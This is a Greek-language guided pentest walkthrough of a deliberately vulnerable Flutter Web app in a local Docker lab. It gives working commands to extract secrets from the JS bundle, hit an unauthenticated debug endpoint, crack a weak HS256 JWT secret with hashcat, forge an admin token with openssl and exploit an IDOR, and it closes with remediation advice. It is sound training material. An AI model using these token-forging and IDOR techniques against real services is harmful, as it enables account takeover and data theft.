Cloud, κινητά και IoT — Καθοδηγούμενη επίδειξη
Εφαρμόζουμε συγκεκριμένα, σε μια σκόπιμα ευάλωτη εφαρμογή Flutter, τη λογική pentest κινητών του 2026: ο πελάτης δεν είναι ποτέ σύνορο ασφάλειας, ό,τι ζει στο τηλέφωνο καταλήγει να βγαίνει προς τα έξω και ο πραγματικός έλεγχος είναι στο API.
Τι θα ξέρετε να κάνετε
- Να αναγνωρίζετε τα πέντε κλασικά ελαττώματα μιας κακοφτιαγμένης εφαρμογής Flutter εντοπίζοντάς τα από το bundle και από τη συμπεριφορά του API.
- Να συνδέετε αυτά τα ελαττώματα σε μια σύντομη αλυσίδα και μια μακρά αλυσίδα.
- Να ξέρετε τι να τεκμηριώσετε στην αναφορά και ποια διόρθωση να περιμένετε από τον προγραμματιστή.
Προετοιμασία
Το εργαστήριο χρησιμοποιεί ένα Docker lab στο
labs/docker/module-11-mobile-flutter/. Τρία containers:
app— nginx που σερβίρει το Flutter Web build στοhttp://localhost:8080.api— backend Node/Express στοhttp://localhost:3000.attaquant— σταθμός Kali (imageinskillsec/kali-lab) στο εσωτερικό δίκτυο10.20.40.0/24.
Από το repo:
cd labs/docker/module-11-mobile-flutter
docker compose up -d
Επαληθεύστε:
curl -s http://localhost:3000/api/health
# {"status":"ok","service":"m11-api","version":"1.0.0"}
Ανοίξτε το http://localhost:8080 στον browser σας: βλέπετε τη
σελίδα login της εφαρμογής Flutter Web.
Η πορεία, βήμα προς βήμα
1. Οπτική αναγνώριση — DevTools ανοιχτό
Φορτώστε τη σελίδα, ανοίξτε την καρτέλα Network πριν συνδεθείτε.
Κάντε κλικ στο κουμπί Sign in. Βλέπετε ένα POST στο
http://localhost:3000/api/auth/login με ένα JSON body
{"email":"...","password":"..."}. Σημειώστε ήδη τον τομέα, τη θύρα,
και τη δομή του body: είναι ο χάρτης σας του API.
2. Grep του bundle
Η εφαρμογή Flutter Web φορτώνει το main.dart.js. Ανακτήστε το με το χέρι:
curl -s http://localhost:8080/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|API_KEY|PREMIUM|DEBUG|TOKEN" /tmp/main.dart.js
Αναμενόμενη έξοδος:
var API_BASE_URL = 'http://localhost:3000';
var PREMIUM_API_KEY = 'pk_live_M11_flutter_premium_key_do_not_leak';
var DEBUG_ENDPOINT = '/api/debug/env';
Τρεις ανακαλύψεις σε μία εντολή:
- Το URL του API (το είχατε ήδη από τα DevTools αλλά αυτή η διαδρομή δουλεύει και χωρίς browser).
- Ένα κλειδί API premium που δεν έπρεπε ποτέ να βρίσκεται στον πελάτη.
- Ένα debug endpoint που ο προγραμματιστής έβαλε εκεί «για δοκιμή» και το ξέχασε.
Γιατί αυτό το debug endpoint είναι παγίδα
Σε μια πραγματική εφαρμογή Flutter, αυτό το είδος string προκύπτει από ένα dump
reFlutter ή blutter του αρχείου libapp.so του APK. Το αποτέλεσμα
είναι πανομοιότυπο: ο προγραμματιστής πιστεύει ότι οι σταθερές Dart είναι
«μεταγλωττισμένες», ένας επιτιθέμενος τις ανακτά με μία εντολή. Το μάθημα
είναι ανεξάρτητο από την πλατφόρμα.
3. Σύντομη διαδρομή — /api/debug/env
Το path /api/debug/env δεν είναι μέσα στη λογική της εφαρμογής, δεν
απαιτεί καμία αυθεντικοποίηση. Τεχνικά είστε ήδη στον
προορισμό:
curl -s http://localhost:3000/api/debug/env
Αναμενόμενη έξοδος:
{
"warning": "DEBUG ENDPOINT - NE PAS DEPLOYER EN PROD",
"NODE_ENV": "production",
"JWT_SECRET": "s3cr3t2025",
"PREMIUM_API_KEY": "pk_live_M11_flutter_premium_key_do_not_leak",
"M11_FLAG": "FLAG-M11-FLUTTER-MOBILE-2026",
"hostname": "api"
}
Έχετε ήδη το flag. Σε μια αναφορά pentest, αυτό θα ήταν το εύρημα Νο.1, εκμεταλλεύσιμο από οποιονδήποτε, βαθμολογημένο Κρίσιμο. Τεκμηριώστε το.
4. Client-side bypass — dashboard χωρίς λογαριασμό
Επιστροφή στον browser. Δεν έχετε κανένα token. Ανοίξτε την κονσόλα DevTools και κάντε:
localStorage.setItem('auth_token', 'not-a-real-token');
window.location.hash = '#/dashboard';
Το dashboard εμφανίζεται. Αλλά μετά από ένα δευτερόλεπτο, μεταβαίνει σε «Session expired» και σας στέλνει πίσω στο login. Γιατί;
- Η client-side προστασία (
AuthService.isAuthenticated()) εξετάζει μόνο ανlocalStorage.auth_token !== null. Το απλό γεγονός ότι γράψατε μια ψεύτικη τιμή περνά τον έλεγχο. - Η κλήση
GET /api/meμε το ψεύτικο token επιστρέφει401, η σελίδα το εντοπίζει και ανακατευθύνει.
Παιδαγωγικό μάθημα: η προστασία στον πελάτη εξυπηρετεί το design, όχι την ασφάλεια. Ένας προγραμματιστής που τη χρησιμοποιεί μόνη του νομίζει ότι προστατεύεται, δεν είναι.
5. Μακρά διαδρομή — σπάσιμο HS256 + πλαστογράφηση admin
Δημιουργήστε πρώτα έναν κανονικό λογαριασμό για να συλλάβετε ένα JWT:
curl -s -X POST http://localhost:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq
Εξάγετε το token. Αποκωδικοποιήστε το header και το payload:
TOKEN="<token που επιστράφηκε>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
# {"alg":"HS256","typ":"JWT"}
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
# {"sub":4,"email":"eve@lab.local","role":"user","iat":...,"exp":...}
Το header λέει HS256: η υπογραφή είναι ένα HMAC SHA-256 πάνω σε
header.payload με ένα κοινό μυστικό. Αυτό το μυστικό ζει μόνο στον
διακομιστή, αλλά αν είναι αδύναμο, μπορούμε να το βρούμε με offline brute
force:
echo "$TOKEN" > /tmp/token.jwt
hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt
Ο κωδικός που σπάει είναι s3cr3t2025. Επαληθεύστε στη συνέχεια με το openssl ότι
η υπογραφή του token σας αντιστοιχεί πράγματι σε αυτό το μυστικό
(προαιρετικό αλλά παιδαγωγικό):
HEADER=$(echo "$TOKEN" | cut -d. -f1)
PAYLOAD=$(echo "$TOKEN" | cut -d. -f2)
echo -n "$HEADER.$PAYLOAD" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 | tr '+/' '-_' | tr -d '='
# Πρέπει να ταιριάζει με ό,τι ακολουθεί τη δεύτερη τελεία στο $TOKEN.
Πλαστογραφείτε τώρα ένα token με role=admin, sub=1:
NEW_HEADER='{"alg":"HS256","typ":"JWT"}'
NEW_PAYLOAD='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$NEW_HEADER" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$NEW_PAYLOAD" | base64 -w0 | tr '+/' '-_' | tr -d '=')
NEW_SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:s3cr3t2025" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$NEW_SIG"
echo "$FORGED"
6. IDOR — dump του κωδικού admin σε καθαρό κείμενο
Δεν χρειάζεστε καν το πλαστογραφημένο JWT για το IDOR: το κανονικό token της eve αρκεί, το API δεν ελέγχει την κυριότητα.
curl -s http://localhost:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq
Αναμενόμενη έξοδος:
{
"user": {
"id": 1,
"email": "admin@corp.local",
"password": "AdminP@ssw0rd_secret_2026",
"role": "admin",
"fullName": "Amina Zerouali"
}
}
Ο κωδικός είναι σε καθαρό κείμενο στο backend — δεύτερη μεγάλη τρύπα προς τεκμηρίωση. Σε ένα πραγματικό backend, αυτό θα ήταν ένα bcrypt hash, αλλά πολλές ερασιτεχνικές εφαρμογές κινητών αποθηκεύουν σε καθαρό κείμενο στον διακομιστή.
7. Πρόσβαση admin — το flag από την πόρτα
Τέλος, το admin endpoint:
curl -s http://localhost:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq
Αναμενόμενη έξοδος:
{
"service": "m11-api",
"jwtAlgorithm": "HS256",
"premiumApiKey": "pk_live_M11_flutter_premium_key_do_not_leak",
"flag": "FLAG-M11-FLUTTER-MOBILE-2026"
}
Το ίδιο flag με τη σύντομη διαδρομή, αλλά αποκτημένο από την πόρτα: αυτό θα έκανε ένας πραγματικός pentester για να αποδείξει την πλήρη αλυσίδα και όχι απλώς την τετριμμένη διαρροή.
Ανάγνωση της εξόδου
Τρία σήματα που πρέπει να μπορείτε να διατυπώσετε μπροστά σε έναν πελάτη:
- Κάθε σταθερά Dart καταλήγει στο binary. Αν το backend σας απαιτεί
ένα μυστικό, αυτό δεν έχει καμία δουλειά στον πελάτη κινητών. Στο
bundle Flutter Web όπως και σε ένα
.apk, μια απλή κειμενική αναζήτηση αρκεί. - Το HS256 σπάει μόλις το μυστικό δεν είναι έξοδος
τυχαίας γεννήτριας. Το
s3cr3t2025πέφτει σε δευτερόλεπτα. Ένα ισχυρό μυστικό μετρά τουλάχιστον 32 τυχαία bytes, κωδικοποιημένα σε base64. Ακόμα καλύτερα: μετάβαση σε RS256 με ζεύγος κλειδιών, το ιδιωτικό κλειδί παραμένει στον διακομιστή. - IDOR = auth χωρίς εξουσιοδότηση. Ένα έγκυρο token δεν είναι
άδεια. Κάθε endpoint που δέχεται ένα
:idπρέπει να ελέγχει ότι ο καλών κατέχει ή μπορεί να δει τον πόρο.
Εκεί που ξεφεύγει
- Πληκτρολογείτε το λάθος
curlκαι το API επιστρέφειMissing token. Ελέγξτε τη μορφήAuthorization: Bearer <token>, χωρίς περιττά εισαγωγικά. - Το σπάσιμο με hashcat σάς λέει
Line-length exception: το αρχείο σας περιέχει μόνο μία γραμμή, αλλά πρέπει να είναι ολόκληρο το JWT (τρία μέρη χωρισμένα με τελείες), όχι μόνο η υπογραφή. - Το IDOR επιστρέφει
404: ελέγξτε ότι το ζητούμενο ID υπάρχει. Τα1,2,3είναι τα seeds· τα επόμενα IDs είναι οι δικές σας εγγραφές.